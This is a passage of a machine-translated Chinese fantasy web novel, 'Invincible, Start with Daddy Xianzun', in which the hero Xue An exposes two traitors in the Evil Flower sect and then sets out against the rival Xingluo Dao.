    These shouts one after another.


    Zhuang Dian felt that his heart had cooled down a little bit, and then looked out the window in astonishment.


    However, under the shining light of the upper city, two shadows flew from a distance.


    In an instant, it fell into the room.


    The leader is Luo Lanting, the lord of the Evil Flower.


    It''s just that at this time, she looked terrible.


    His whole body was soaked with blood, and the huge wounds were even more shocking.


    Seeing this scene, everyone in the room was shocked.


    "metropolitan!"


    "Sect Master, what''s wrong with you!"


    Luo Lanting waved his hand gently, "It''s okay! It''s just an ambush by Xing Luodao!"


    Xingluodao''s ambush!


    This sentence made many people''s expressions condensed.


    Although Luo Lanting said it was such an understatement, everyone knew what a thrilling murderous intent contained in this simple sentence.


    "Sect Master, what is going on?" the middle-aged woman asked eagerly.


    "The matter is very simple. Xingluo Dao learned of my whereabouts in advance, and then set up a mortal game to take my life!" Luo Lanting said lightly.


    "I learned your whereabouts in advanceYou mean...there is a traitor in the Evil Flower?" someone asked in surprise.


    Luo Lanting nodded, "You can say the same!"


    boom!


    The room is completely boiling!


    The middle-aged woman was the first to jump out and asked with a murderous face: "Sect Master, who is the traitor? I''ll hack her now!"


    "Yes! Who is the traitor?"


    Everyone screamed.


    In this shout, Luo Lanting looked around the audience, finally lowered his eyes, and said lightly: "Who is the traitor, I don''t know yet! But among the Evil Flower, only this one knows where I am You in the house!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1604 Who is the traitor? (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1601： Unexpected

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    The audience quieted down instantly.


    Everyone looked at each other, seeing the shock and doubt in each other''s eyes.


    Zhuangdian was struck by lightning, and his head was deeply buried to cover up the panic and anxiety in his eyes.


    The middle-aged woman said solemnly: "Sect Master, what you said is correct. Only the people in this room know where you are going tonight! But the question is, who is the traitor?"


    Luo Lanting looked around the audience with a sinking face, and everyone looked at her solemnly wherever they looked.


    After a long time, Luo Lanting whispered: "Yes, who is the traitor?"


    Zhuang Dim Sum breathed a sigh of relief.


    fortunately!


    It seems that she still doesn''t know the real situation.


    But at this moment, Xue An, who had been standing by the side, suddenly stepped closer to her.


    At this time, all the eyes of the audience focused on him.


    Many people were surprised, and they didn''t know what this boy in white was doing!


    Although Luo Lanting and Xue An just came back together.


    But everyone subconsciously ignored Xue An, and even thought he was the master from where Sect Master Luo Lanting recruited.


    now.


    Xue quietly looked at the man in front of him, with his head lowered deeply, and his whole body was shaking slightly, and said lightly: "What are you afraid of?"


    "Huh?" Zhuang Dian was startled, then raised his head, pretending to be confused and asked: "Afraid? I''m not afraid!"


    "Isn''t there? I was wrong!" Xue An smiled slightly.


    But before Zhuang could breathe a sigh of relief, Xue An suddenly said again: "But how did I notice that when you saw your Sovereign return just now, instead of joy, your eyes were full of disappointment?"


    "Wh... how could I be disappointed! It is clear that you are wrong!" Zhuang Dianqiang said with a smile.


    "Really? Could it be that I was wrong again?" Xue An smiled lightly.


    Zhuang Dian''s expression gradually became gloomy, and he said in a stern tone: "Yes, you are wrong! And who are you? Why are you asking me?"


    "This adult is the one who rescued me from Xingluo Dao''s mortal situation, why? Do you have any questions?" Luo Lanting didn''t know when he walked to Xue An''s side and said coldly.


    boom!


    There was a slight commotion in the audience.


    No one thought that this young man in white was the one who rescued Luolan Pavilion.


    Zhuang Dian''s heart also became more flustered, but he still smiled calmly: "It turned out to be the benefactor who rescued the lord, I''m really sorry, please forgive me for being rude!"


    Xue An smiled slightly, "It''s okay! But you have to answer me now, what is the disappointment on your face just now? Or is it you who leaked the news?"


    As soon as this statement came out, many people looked at Zhuang Dian with extremely unkind eyes.


    Zhuang Dian''s complexion turned whiter, turning his head to look at Luolan Pavilion, "Sect Master, I have never done anything to apologize to you! I have never revealed your whereabouts this time, you have to believe it. I����."


    Luo Lanting''s face was sinking, just looking at her quietly, but did not speak.


    Seeing Luo Lanting''s performance, Zhuang Dian''s heart sank gradually, and finally stomped with hatred.


    "Okay! Since you don''t trust me, what''s the point of me being here? Why don''t you just quit now! It''s also less suspicious of you!"


    With that, she turned around and left angrily.


    But at this moment, a figure suddenly rushed up, and then blocked Zhuang Dian''s way.


    puff!


    Not waiting for Zhuangdian to speak.


    This person stabbed Zhuang Dian''s chest with a single knife, and blood burst out instantly, staining the ground under his feet.


    Zhuang Dian''s mouth opened wide, and he looked at the person in front of him in astonishment.


    The middle-aged woman looked at her with hatred, and said in a deep voice: "I dare to betray the extremely evil flower, and almost killed the lord, for her crime!"


    Zhuang Dian''s mouth moved silently, as if he wanted to say something.


    But at this time, the middle-aged woman raised her other hand with a disgusting expression on her face and waved it violently.


    puff!


    The dagger directly cut Zhuang Dian''s throat.


    This dagger is obviously not a common product, not only Zhuang Dian''s throat is cut off this time, but also her soul.


    She saw her eyes dimmed at a speed visible to the naked eye, and there were a few weak gurgling noises in her throat, and she finally fell to the ground and died absolutely.


    The middle-aged woman looked at the dead Zhuang Dian and took a sip, "Deserve it!"


    Although one person died.


    But everyone in the room showed a cheerful color.


    "How dare you betray the Evil Flower, it''s really cheap to die like this!"


    "Yes! It''s cheaper for her!"


    In these shouts, Luo Lanting looked at the corpse on the ground, his eyes flickered, and he didn''t know what he was thinking.


    At this moment, the middle-aged woman kicked Zhuang Dian''s corpse fiercely, and then bent down and wiped the blood from the dagger with her clothes.


    But when she was busy working with her head down, Xue An also came closer, then squatted down, looked at the scene in front of her with a smile, and suddenly said: "It feels good to kill people and kill them!"


    When this remark came out, many people were surprised.


    What does this mean?


    But the middle-aged woman did not show the slightest movement. Instead, she raised her head and looked at Xue An coldly, and asked, "Are you doubting me?"


    Xue An smiled, "To be precise, it''s not to doubt you, but to be sure it is you!"


    boom!


    Now even Luo Lanting''s complexion changed.


    The middle-aged woman sneered when she heard the words, "Is it sure? So, do you believe that the traitor who betrayed the Evil Flower and leaked the whereabouts of the lord is me?"


    "Of course!" Xue An said with a smile.


    The middle-aged woman looked up and laughed like she heard a very funny joke.


    Xue An didn''t say a word, just watched with a smile.


    After a while, the middle-aged woman suddenly reduced her laughter and looked at Xue An sarcastically, "I have to admit that the joke you said is really funny, and you think I am a traitor, do you know...who am I? "


    Xue An shook his head, "I don''t know!"


    The middle-aged woman stood up, raised her hand and pointed at Luo Lanting, "The elder brother of the suzerain, that is, the suzerain who took office, has been served by me. It can be said that both of them were grown up by me!"


    Speaking of this, the middle-aged woman suddenly got excited and yelled: "You think I am a traitor? Are you deliberately angering me?"


    The words of the middle-aged woman made many people nod secretly.


    Yes!


    If anyone in the audience is the least likely to betray, then it is her!


    After all, after such a long time together she has become a relative of the Luo brothers and sisters.


    How can relatives betray?


    But when the middle-aged woman screamed with excitement, Xue An suddenly chuckled.


    "There are very few people who will not betray. You think you will not betray. It is just that the price tag is not enough!"


    "So what price do you think Xing Luo Dao can offer me to make me betray?" The middle-aged woman smiled sarcastically.


    "There are many conditions, but I think there should be only one that can really move you! For example..." Xue An wanted to stop.


    "Hehe, like what?" the middle-aged woman sneered.


    "For example...returning to the upper cities!" Xue An said with a smile.


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 1605 Unexpected (third more)) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1602： Think of yourself as a chess player, and end 1...

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    The face of the middle-aged woman changed.


    Xue An went on to say: "In fact, I didn''t doubt you at the beginning, because the one who died did betray the Evil Flower, but your urgency made you show your feet!"


    "Humph!" The middle-aged woman snorted coldly, "What kind of kick?"


    Xue An smiled slightly, looked down at the dead corpse on the ground, and said lightly: "In fact, this woman is also very sad, because she will never know that Xingluodao is not the only one who bought it!"


    "Because of distrust, Xingluodao has set up double insurance, and you... are the other person who provides information!"


    "And because your qualifications are deeper than her, no one will doubt you, so the information you provide is far more accurate than her!"


    "And this... is the reason why you are eager to kill her!"


    "After all, as long as you interrogate her a little, you will know that there is a big loophole in it, so you can''t wait to kill her, so that she can bear all the guilt and die. What I said... is right Huh?"


    After all, Xue An looked at the middle-aged woman with a smile.


    The audience was even more silent.


    Everyone''s eyes were focused on this middle-aged woman, and many people''s faces were even more surprised and uncertain.


    Because Xue An''s remarks sounded reasonable, and seemed to have a high degree of credibility.


    But is this really possible?


    The middle-aged woman''s eyes gradually became gloomy, and then she clapped her hands full of mockery.


    "Wonderful, really wonderful! If it wasn''t me or the client, I might have believed what you said! But the problem is..."


    The middle-aged woman stared at Xue An with a fierce face, "You said so for a long time, what''s the evidence? You want to frame me with just one mouth, this is a bit unreasonable!"


    "Evidence?" Xue An smiled, "Are you sure you want evidence from me?"


    "Nonsense, framed me so unreasonably, of course I want to ask you for evidence!" The middle-aged woman was extremely aggressive.


    Xue An didn''t get angry, but nodded, "Well, then I will give you proof!"


    As he said, Xue An raised his hand and wrote a simple talisman in the air, and then waved it casually.


    Fu Zhuan instantly sank into the dead body on the ground.


    What is he doing?


    Everyone stared at it.


    The middle-aged woman''s complexion changed even more, and a look of panic appeared in her eyes.


    But after a while, there was nothing unusual about the dead body on the ground.


    She was secretly relieved, and then looked at Xue An with pride.


    "What about the evidence?"


    Xue An smiled faintly, "Don''t worry! Coming soon!"


    The voice just fell, but seeing the light of the talisman flashed, then a little brilliance floated above the dead corpse.


    Immediately afterwards, these brilliance condensed together, and gradually revealed an illusory figure.


    "This... how is this possible!" The middle-aged woman looked at this scene in disbelief as if struck by lightning.


    You must know that in order to avoid future troubles, she deliberately used the magical blade that can kill people''s spirits together.


    This will ensure that the secret will never be revealed.


    But never expected that the spirits that had been crushed would miraculously regroup together again.


    This is as incredible as a myth.


    Everyone in the field was also shocked.


    Xue An just smiled at this, "Fortunately, the time to die is not too long, so it is reunited!"


    As he said, he blinked at the middle-aged woman, "Did you see it? This is the evidence I gave you! Now let her tell me what happened?"


    The middle-aged woman shook all over, awake from the horror, and then turned pale with a sigh.


    She lowered her head, "No need! I did reveal the news to Xing Luodao!"


    boom!


    As soon as this remark came out, the audience shook.


    Everyone looked at the middle-aged woman with incredible eyes.


    Because as she said before, if one of the most wicked flowers is the least likely to rebel, it is her.


    But I never expected that it was such a person who seemed to be absolutely impossible to rebel, but in the end he became a traitor who almost put the lord to death.


    The contrast here is simply staggering.


    Luo Lanting''s complexion gradually turned pale, staring at the middle-aged woman, and then a few words came out between his teeth.


    "why!"


    The middle-aged woman smiled sadly, "It''s very simple, because Xingluodao promised me that I can return to the upper cities!"


    "Because of this?" Luo Lanting asked with a cold voice, shaking slightly.


    "Isn''t this enough?" The middle-aged woman suddenly raised her voice, and at the same time a hideous look appeared on her face.


    "I have stayed in this ghost place enough, and I have paid enough for your Luo brothers and sisters. Do you want to spend the rest of my life in this dirty and chaotic city?"


    Luo Lanting was silent for a moment, and then solemnly said: "But why don''t you tell me in person? As long as you tell me in person, I can let you go!"


    "Tell you in person? Haha! Does that work? You want to avenge your brother. Have you ever thought about how we feel? It''s all your fault!" The middle-aged woman yelled hysterically.


    "My fault? It is also my fault for me to avenge my brother? Does that mean my brother deserves to die?" Luo Lanting was also angry.


    "Hahahahaha, sure enough, you are still obsessed with it! Do you think you can really avenge your brother on your own? Give up! It is absolutely impossible!"


    Speaking of this, the middle-aged woman''s face was full of madness, "You think that Xingluo Dao and the various forces are the culprit, in fact, they are just pawns taking orders from others!"


    "This conspiracy is much bigger than you think. What is hidden behind the scenes is a big man who is enough to shock the sky! You and I, including the various forces, are just pawns on the chessboard!"


    These words made Luo Lanting''s complexion frantically changed rushed forward, grabbed the middle-aged woman by the neck, and eagerly asked: "What do you know! What is the conspiracy? Who is the real murderer of my brother?"


    The middle-aged woman did not resist, but looked at Luo Lan Ting with eyes mixed with compassion and mockery, and then sneered.


    "It''s useless, the other party is an existence you can''t even imagine. Your brother''s death is just a small accident! Don''t think about revenge in your life! Hahahaha!"


    The middle-aged woman laughed wildly.


    But at this moment, Xue An suddenly sighed, "Actually, I think, everyone who hides behind the scenes and thinks that they are chess players and can control the overall situation will generally end badly!"


    With that said, Xue An raised his head and smiled slightly, "What do you think?"


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 1606 thinks that you are a chess player, and the end is generally miserable (first more)) to read the record, next time you open the bookshelf Can be seen!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1603： Questioning parties

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    Everyone was dumbfounded.


    No one knew what Xue An meant by suddenly saying such a sentence.


    The middle-aged woman was taken aback for a moment, and then angrily retorted with a smile: "It''s really blatant, that''s an existence you can''t imagine, you..."


    Xue An waved his hand impatiently, "Okay, don''t say these idioms! Anyway, no matter how much the other party exists, if he dares to act like this, then he is dead! Because this is what I said!"


    The middle-aged woman''s eyes gradually widened, and it seemed hard to believe that the white-clothed boy in front of her would be so arrogant.


    Xue An ignored her, but said to Luo Lanting: "You don''t need to ask her anymore. She definitely doesn''t know the real inside story! So you can handle the rest yourself!"


    Luo Lanting nodded, "Understood!"


    Xue An waved his hand, and the spirit floating on Zhuangdian''s corpse shattered again and disappeared.


    Then Xue An turned around and walked straight to a chair in the middle, Shi Shiran sat down and watched quietly.


    Somehow, after seeing this scene, the middle-aged woman felt her heart clenched instantly.


    The previous arrogance disappeared, and a panic and uneasy surged into my heart.


    "Zong..." She lowered her head, with a flattering smile on her face, "Sect Master, this..."


    Luo Lanting''s complexion was calm, only his eyes were cold and frosty, "I still said that, you don''t actually have to have such a big grievance, as long as you say to me, I will immediately let you go, and even find a way to get you back to the upper level city!"


    The middle-aged woman showed shame on her face and whispered: "Yes, Sovereign, I know it was wrong!"


    Luo Lanting didn''t seem to hear her, and continued to say calmly: "But you betrayed me, and I almost never came back!"


    The middle-aged woman''s complexion became paler, her eyes became more and more apprehensive, as if she had a premonition of what would happen next, she hissed.


    "no, do not want."


    "Actually, I really don''t want to kill you, but this is all you asked for. You can''t blame me!" Luo Lanting said softly.


    Immediately afterwards, the brilliance flashed in her eyes, and the tattoos on her face gradually appeared.


    The wicked flowers bloomed all over the middle-aged woman in an instant.


    "Do not����."


    The screams stopped abruptly, and these extremely evil flowers instantly drained all the blood of the middle-aged woman, and then slowly bloomed.


    Luo Lanting let go.


    Before the dead body waited to land, it turned into fly ash and disappeared.


    The audience was silent.


    Many people''s brains are still down.


    Because I returned from Luolan Pavilion to the present, but within half an hour, there was such a twists and turns of the plot.


    Even those who are least likely to betray become traitors.


    How can this not shock these people.


    Luo Lanting, who was a traitor with the blade, slowly let out a sigh, then turned around and bowed his hand at Xue An.


    "My lord! The matter is over!"


    Xue An smiled, "After the internal affairs are handled, it''s time for the outside world! Isn''t it?"


    Luo Lanting nodded, "Yes!"


    "Then it will be solved tonight! Anyway, I think that many people should not be able to sleep tonight!"


    There was also a cold light in Luo Lanting''s eyes, "Okay! I will notify all parties now!"


    As Xue An said, at this moment, there are indeed many people in this city who cannot sleep.


    Min Huazang, the master of Bailian View, is one of them.


    From the very beginning of the night, his mood became very irritable.


    He even killed two maidservants because of a trivial matter.


    But this did not calm his mood, on the contrary, he became more and more uneasy.


    By the time the heavy rain pours, this anxiety has reached its peak.


    He looked at the dense rain curtain outside the window, meditating in his heart.


    It should have already started!


    Haha, the little lady Luo Lanting looks pretty good, it would be a pity if she just died like this.


    But as soon as she dies, the Evil Flower will fall into a situation where there is no leader in the dragon, and then my Bailianguan can take the opportunity to grow.


    This is a golden opportunity! One must hold it firmly.


    From the beginning to the end, he never thought about whether Luo Lanting would not die.


    In his opinion, that is simply impossible.


    In front of the heaven and earth nets laid by the stars, even if Luo Lan Pavilion possesses a big killer like the Evil Flower, it is absolutely difficult to escape.


    This is also the reason why he agreed to Xingluo Dao and remained silent about the whole process.


    The rain gradually stopped.


    Min Huazang frowned slightly.


    what happened?


    Didn��t you say yes, you will see the results after the rain stops?


    It stands to reason that Xingluodao should have already sent the battle report at this time!


    Could it be delayed because of something?


    But just when he was puzzled.


    A copy of the book suddenly appeared in front of him.


    When he saw the badge on the slip, Min Huazang''s expression changed drastically.


    Because there is a bright red flower printed on the tablet, which is the emblem of the extremely evil flower.


    what happened?


    Evil Flower suddenly sent a brief book for what?


    Min Huazang''s eyelids began to beat, and he suppressed the throbbing in his heart, and gently opened the slip.


    There is only a very simple sentence above.


    Come to discuss the matter immediately.


    But these six words made Min Huazang''s complexion pale instantly.


    Because this is obviously from Luo Lanting''s handwriting.


    But the question is, shouldn''t she be dead now?


    Why did the book slips suddenly come?


    And the discussion?


    What are you discussing?


    Does she already know everything?


    This thought suddenly arose in Min Huazang''s heart, causing a cold sweat on his forehead.


    If this is the case, then it is completely finished.


    Because whether to go or not is a dead end.


    Go, you may be questioned on the spot.


    If you don''t go, you will directly give someone a handle.


    Min Huazang was caught in a dilemma. It was not until a long time later that he cursed bitterly: "Xingluo Dao, you bastards, you have killed me!"


    Then he trembled and said: "Prepare, go to the Evil Flower now!"


    At the same time, many people who received the letterhead were also swearing at Xing Luodao.


    But the established facts cannot be changed, and they can only bite the bullet and rush to the headquarters of the Evil Flower.


    quickly.


    The banquet hall of the Evil Flower began to lively.


    Allies from all sides who have formed an alliance with Evil Flower gather together.


    These allies are all defiant figures in this chaotic city, but when they are together at the moment, the banquet hall is surprisingly quiet ~ www.novelhall.com ~ people come together in groups, The voice was extremely low, and he was talking carefully.


    "Min Guanzhu, what''s going on? What did Luo Lanting suddenly call us to do?" someone asked Min Huazang in a low voice.


    Min Huazang smiled bitterly and shook his head, "Where do I know!"


    "Could it be...she knows these things and wants to kill us all at once?" someone on the side said hesitantly.


    "Huh! I don''t think she has the courage, because if she really dares to do that, then we are not vegetarians. With so many people present, who is willing to sit still?" Someone sneered.


    At this moment, someone heard a low noise.


    "I''m coming!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1607 Inquiry to the parties (second update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1604： This matter, give me a reasonable explanation...

    () "Invincible, start from Xianzun Dad ( Find the latest chapter!


    Following the voice, I saw a commotion at the entrance of the banquet hall, and then I saw Luo Lanting first step into the arena.


    The moment she appeared in front of everyone, the audience was quiet, and then there was an uproar.


    Because at the moment, Luo Lan Pavilion is still wearing the evening gown soaked in blood.


    Coupled with the scars all over the body, although it has healed a lot, at first glance, it is still terrifying and shocking.


    Seeing this scene, everyone present felt tight, and the complexion of many people changed drastically.


    Because among the people present, many actually didn''t know what happened tonight.


    So when they saw the scarred Luolan Pavilion, they immediately realized that this rally tonight is by no means easy.


    There may even be major events.


    So they all closed their mouths and looked at them solemnly.


    As for people who know the inside story like Min Huafeng, the master of Bai Lian Guan, the complexion at this moment is also very ugly.


    Because Luo Lan Ting appeared in this image, it was clear that it was to give them their power.


    The meaning represented by this is even more terrifying.


    In this tense atmosphere, no one noticed Xue An who walked in immediately behind Luolan Pavilion.


    Even if someone saw it, they simply thought he was a new master Luo Lanting recruited.


    quickly.


    The commotion in the banquet hall gradually subsided.


    After Luo Lanting stood upright, he looked around the audience blankly.


    There is no sound in the banquet hall, and people''s breathing can be heard quietly.


    Under this depressive atmosphere, and after a full cup of tea, Luo Lanting slowly retracted his gaze and said softly.


    "I am disappointed!"


    These simple words shocked many people as if they were struck by lightning.


    Luo Lanting continued to speak in an extremely calm tone.


    "I also know that in this city, or in this world, betrayal is a common occurrence, but I always thought that the Evil Flower and everyone here would be a little different!"


    "Because I have been trying my best to change everything! But I failed!"


    Luo Lanting''s tone didn''t have any waves, but it fell in everyone''s ears, but it was full of extreme fatigue and disappointment.


    This made many people bow their heads silently.


    "As you can see, just tonight, I suffered a fatal ambush and almost died outside! Now the wound on my body is still bleeding, but it doesn''t matter, because I failed! And If you fail, you must pay a price, so I deserve it. I have no complaints!"


    Luo Lanting''s words echoed over the banquet hall, and everyone''s expressions became a little subtle.


    Some people lower their heads, their eyes flicker, and they don''t know what they are thinking.


    Min Huazang is no exception. He has a ghost in his heart. He lowered his head at the moment, thinking about what Luo Lanting said in his heart.


    What does she mean by this?


    Does it mean you don''t intend to pursue it?


    Well, that should be it! After all, this incident has spread too far. If she really wants to pursue it, no one can predict the consequences, and it may even be beyond the end of the Evil Flower.


    Thinking of this, Min Huafeng couldn''t help but let out a sigh of relief.


    But before he waited for a smile to appear on his face.


    But seeing Luo Lanting leaning on the table with his hands, leaning forward, his icy eyes scanned the audience.


    "But there is no doubt that everyone should pay for their actions. Now that I have been punished, should it be your turn next?"


    This sentence was like a shock to the world, causing Min Huazang and others to become disillusioned.


    Luo Lanting seemed to feel nothing, and continued to say in a soothing tone: "Since I was attacked, there hasn''t been any trouble in the whole city, and even you, who should have known the news for the first time, did not do anything! "


    "It''s as if they were discussed in advance, you all kept silent about this matter!"


    "This... don''t you need to give me a reasonable explanation?"


    After that, the audience was terribly quiet.


    Luo Lanting looked around the audience, his face gradually showed a hint of sarcasm, "What? Don''t you even want to give me a reasonable explanation? Or is it that I am so worthless?"


    Still no one said anything.


    "Very well, since you don''t want to say it, then I will take the initiative to ask!"


    As he said, Luo Lanting''s gaze stayed on Min Huafeng, "Min Guanzhu, don''t you plan to say a few words?"


    Min Huafeng trembled and groaned secretly in his heart.


    Why is it so unlucky for me to be called for questioning?


    But now he has already asked himself, and it will definitely be impossible to continue to be silent, so he raised his head and laughed forcefully.


    "Master Sect Master, I have nothing to say, because I really don''t know what happened!"


    "Oh? Don''t know anything?" Luo Lanting said lightly.


    "Yeah! I really don''t know anything! In fact, I''m feeling sick recently, so I went to bed early tonight, and I didn''t notice anything unusual at all!" Min Huafeng said very sincerely.


    "Don''t even know it''s raining tonight?" Luo Lanting asked coldly.


    "This... this is naturally known!" Min Huafeng said hesitantly.


    Luo Lanting smiled, "Min Guanzhu, do you know why I asked you in the first place?"


    "do not know!"


    "Because your Hundred Refinement View is the closest to the place where I was attacked, and just at such a close distance, so many assassins of Star Luo Dao appeared! But you told me that you don��t know anything, you think I��m Would you believe it? Or... Does Min Guanzhu think I''m a fool?"


    Min Huafeng was speechless when asked, his eyes fluctuated, and finally his face gradually became gloomy.


    "Sect Master Luo, what you said is very reasonable! That''s right, how could I not know that those Star Luo Dao killers are fighting such a big battle? But there is one thing I want to declare in advance!"


    "My Hundred Refining View and your Evil Flower are just allies, not subordinates!"


    Luo Lanting nodded, "I know this!"


    "It''s good to admit it Since it''s an ally, even if I really knew the news, but didn''t tell you in time, it''s not a fault, right?"


    Luo Lanting shook his head, "Not counting!"


    Min Huafeng''s expression became more and more complacent, and then he sneered: "What''s more, what kind of power is Xingluo Dao? How can my little Bailianguan be able to provoke it? So even if I knew the news, I was afraid and didn''t want to Tell you! Does Sect Master Luo still blame me for this?"


    This series of rhetorical questions can''t help but make many people who have ghosts in their hearts shine in front of them, and they all clamor.


    "Min Guanzhu is right! We are just an ally with Evil Flower. Why is it wrong?"


    "Yes! And whether it''s the Evil Flower or Xingluodao, they are all existences that we can''t afford to provoke. We don''t want to provoke them. We should protect ourselves. Is this also wrong?"


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 1608 This incident, give me a reasonable explanation (first update)) Reading record, next time you open the bookshelf to see !


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1605： presumptuous

    What''s more, yin and yang said weirdly: "Sect Master Luo has time here to question us, why not figure out how to deal with Xing Luo Dao!"


    These words made Luo Lanting''s complexion more and more ugly, especially the words that ridiculed her for not daring to deal with Xingluo Dao and only daring to pick up the soft persimmon, which gradually made her eyes cold.


    Suddenly, she patted the table in front of her and snorted coldly, "Enough!"


    The voice of the audience stopped immediately, and everyone looked at Luolan Pavilion.


    I saw Luo Lanting''s face with a frosty expression: "Speaking of which, you are just afraid of the power of Xingluo Dao, so you don''t dare to come forward, just want to be a tortoise with your head, right?"


    This is a very heavy statement, at least the complexion of many people has changed.


    Luo Lanting sneered and continued on and said: "Min Guanzhu just said it is right. We are indeed only an alliance, but have you ever forgotten, have I done much for you?"


    These words made the complexion of those who had been arrogant before turning red gradually.


    The reason why they are willing to form an alliance with the Evil Flower is because there are many benefits.


    So they cannot refute it.


    "These are actually not important. The important thing is that you really think that if the Evil Flower is overthrown, Xingluo Dao will give up, and show mercy to your small forces? Stop dreaming, who are they? A villain who serves the dark, a killer who doesn''t insist on any rules!"


    Speaking of this, Luo Lanting''s face showed sarcasm, "I ignored the danger in the future for the sake of the little profit and peace in front of me. You really make me look down on!"


    This remark made many people look alert.


    Only Min Huazang and a few people still show disdain.


    They had all reached an agreement with Xing Luo Dao in secret, and naturally they would not be shaken by a few words from Luo Lan Ting.


    "Sect Master Luo is right, but Xingluo Dao has a huge power, and it is said that there are big figures in the upper-level cities behind it. How can we be its opponents alone? In my opinion, it would be better to just surrender!" Behind Min Huazang, someone sneered.


    Luo Lanting glanced over this person and saw a gloomy middle-aged man, his eyes couldn''t help but condensed slightly.


    Because this person is the strongest among the many forces allied with the Evil Flower.


    The Burning City of Jinchan Temple.


    His words also attracted the nods of Min Huazang and others.


    "Master Zhan is right! It''s better to surrender. After all, compared with Xing Luo Dao, our strength is not enough!"


    Many people were hesitant when they saw it.


    Luo Lanting gradually clenched his fists, trying to say something, but found that he could not refute it at all.


    Because what they said is indeed the truth.


    Xingluodao''s strength is indeed much better than Extreme Evil Flower.


    What''s more, this time the momentum is coming, the outcome is really hard to predict.


    But at this moment, only a chuckle came from behind.


    Then I heard someone say indifferently: "I was so scared that I wanted to surrender after just hearing a name. You guys are really...couldn''t you!"


    "Who is talking wildly?" Zhan Fencheng was furious, and he shouted harshly.


    Everyone''s eyes turned towards the speaker.


    But seeing a young man in white sitting on the main seat behind Luolanting and others, and seeing everyone looking at him, he raised his head and smiled slightly.


    "I said, what''s wrong?"


    The speaker was naturally Xue An, but seeing him looked at Zhan Fencheng with a smile.


    "What? Do you have an opinion?"


    Zhan Fencheng''s anger filled his chest, and the killing intent appeared in his eyes.


    You must know that the strength of the Golden Temple is quite good in this bottom city. As the head, he has an extraordinary cultivation base, so he has always regarded himself very high.


    Now he was ridiculed by a boy in white who didn''t know where he came out. How could he be able to endure this arrogant man?


    I saw him grinning gloomily, "If there are opinions, of course there are opinions!"


    "Okay! Then you can just talk about it!" Xue An drew his ears slowly and said in a leisurely manner.


    This time, Zhan Fencheng''s anger was intensified, and he said with a murderous intent: "Boy, you said we were counseling, but do you know the strength of that Star Luo Dao?"


    "I don''t know!" Xue An shook his head.


    "Hmph! I tell you, there are eight great guardians in Xingluo Dao, and each of them has the strength of Da Luo''s peak, and there are four heavenly kings above the eight great guards. These are the existences comparable to the immortal kings. As for Xingluo Dao Master, that is a top powerhouse who has existed for thousands of years, how about it? Are you afraid?" Zhan Fencheng asked sarcastically.


    Xue An laughed, "Is that all?"


    As soon as these words came out, Zhan Fencheng''s eyes almost didn''t come out.


    "Aren''t these enough?"


    Xue An shook his head, "Of course it''s not enough! In fact, I don''t think so! After all... Just before, a so-called great guardian died in my hands!"


    Zhan Fencheng suddenly became speechless. He didn''t even believe a word of what Xue An said, so he smiled sarcastically.


    "It turned out to be like this. Since you are so powerful, how do you think you can deal with Xing Luo Dao?"


    At this time, the eyes of the audience focused on Xue An.


    In this regard, Xue An just smiled, and then said lightly: "It''s very simple, since it is so restless, it''s okay to fight it directly? By then uprooting this force, won''t all the problems be solved?"


    Zhan Fencheng looked at Xue An blankly, "You...are you serious?"


    "Do you think I am joking?"


    As soon as the voice fell, Zhan Fencheng looked up to the sky and laughed.


    "Hahahaha, this is really the funniest joke I''ve ever heard. A young man in a mere guilty talk is so bold, and he said something to destroy Xingluo Dao and not to pee..."


    Before the latter words were said, Xue An raised his eyebrows slightly, "Presumptuous!"


    boom!


    Following the voice, a sword light appeared out of thin air, and then it blasted directly into Fencheng with lightning speed.


    The coming momentum was so fast that even when the battle against Fencheng felt bad, the sword light was already present.


    This time he couldn''t help but frighten his souls, and shouted, "No!"


    As he said, he urged his whole body''s cultivation base, and his whole body was instantly covered by golden armor, trying to resist the sword.


    You must know that the Jinchan Temple is famous for its unparalleled body-building technique Especially the War Burning City, which has been cultivated to a very high level, once it is carried out, it will really have the power of magic and change. .


    But when facing this blasting sword, everything was vain.


    There was not even a sound, this sword light was like a hot knife cutting butter, slicing through the golden light without any hindrance, and then came out through the body.


    puff!


    After a muffled sound.


    Zhan Fencheng stood there, staring at Xue An with horror, and there were chucking noises in his throat.


    Then, he saw blood lines emerging from his body, and then collapsed in an instant, turning into blood.


    In the thick **** atmosphere, the audience was silent.


    But Xue An looked at everyone with a smile, "Well, the world is finally quiet! Now, what do you think of my proposal just now?"

 Chapter 1606： Set out to fight against the star Luo Dao

    () "Invincible, start from Xianzun Dad ( Find the latest chapter!


    "Wh... what proposal?" someone asked hard.


    "Of course it is to destroy Xingluo Dao!" Xue An said with a smile.


    Everyone was dumbfounded.


    This boy is actually serious?


    If it was before, some people would have begun to ridicule.


    But now Zhan Fencheng''s body was lying on the ground, even the blood was still cold.


    With such a lesson ahead, of course everyone dared not show any dissatisfaction.


    Xue An stood up quite excitedly and looked at the night outside the window in the distance, "Well! Time is not too late, if we leave now, we can even come back for breakfast before sunrise! So..."


    Xue An looked at Luolan Pavilion, "Do you want to do it?"


    Luo Lanting took a deep look at Xue An, and then solemnly nodded.


    "Everything... depends on your orders!"


    At this time, everyone realized that the identity of this white-clothed boy was far more powerful than they thought.


    "Okay! It''s not too late, leave now!"


